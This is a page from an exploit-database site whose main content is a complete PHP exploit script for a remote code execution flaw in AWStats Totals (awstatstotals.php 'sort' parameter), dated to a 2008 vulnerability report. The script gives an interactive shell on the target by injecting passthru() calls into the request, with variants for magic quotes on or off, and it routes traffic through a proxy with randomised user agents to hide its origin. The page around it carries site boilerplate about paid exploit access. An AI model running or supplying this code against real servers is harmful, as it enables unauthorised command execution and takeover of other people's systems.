0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
AWStats Totals (awstatstotals.php sort) Remote Code Execution Exploit
===================================================================== AWStats Totals (awstatstotals.php sort) Remote Code Execution Exploit ===================================================================== <?php /* * Remote Execution Exploit for AWStats Totals vulnerability (Interactive Shell) Version 2 * * Updated 05/09/08: The exploit now works with magic quotes on or off * * Author: Ricardo Almeida * * Greetz * The hacker webzine authored by Ronald van den Heetkamp for his code * * Credits: Vulnerabilities reported by Emory University. * http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt * */ function wrap($url){ $ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver'); $op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX'); $agent = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)'; # tor or other proxy $tor = '172.20.1.15:8080'; $timeout = '300'; $ack = curl_init(); curl_setopt ($ack, CURLOPT_PROXY, $tor); curl_setopt ($ack, CURLOPT_URL, $url); curl_setopt ($ack, CURLOPT_HEADER, 1); curl_setopt ($ack, CURLOPT_USERAGENT, $agent); curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout); $syn = curl_exec($ack); $info = curl_getinfo($ack); curl_close($ack); if($info['http_code'] == '200') { return $syn; die(); } else { return "Fail! :".$info['http_code']."\r\n"; } } if ($argc != 3) {die("Usage: awtotalhack.php <host> <magic_quotes on or off>\nEx: awtotalhack.php host.tld on\n");} array_shift($argv); $host = $argv[0]; $magic = $argv[1]; # Start the interactive shell while(1){ fwrite(STDOUT, "[shell:~ # "); if ($magic == "on") { $c = str_split(trim(fgets(STDIN))); if (implode($c) == "exit") {die();}; for($i=0;$i<count($c);$i++) {$c[$i] = "chr(".ord($c[$i]).")";} $cmd = implode("%2e", $c); $attackurl = "http://".$host."/"."awstatstotals.php?sort=%7b%24%7bpassthru%28".$cmd."%29%7d%7d%7b%24%7bexit%28%29%7d%7d"; echo wrap($attackurl); } else if ($magic == "off") { $cmd = preg_replace('/ /','%20',trim(fgets(STDIN))); if ($cmd == "exit") {die();}; $attackurl = "http://".$host."/"."awstatstotals.php?sort=%22%5d%2epassthru%28%27".$cmd."%27%29%2eexit%28%29%2e%24a%5b%22"; echo wrap($attackurl); } } ?> # 0day.today [2024-12-24] #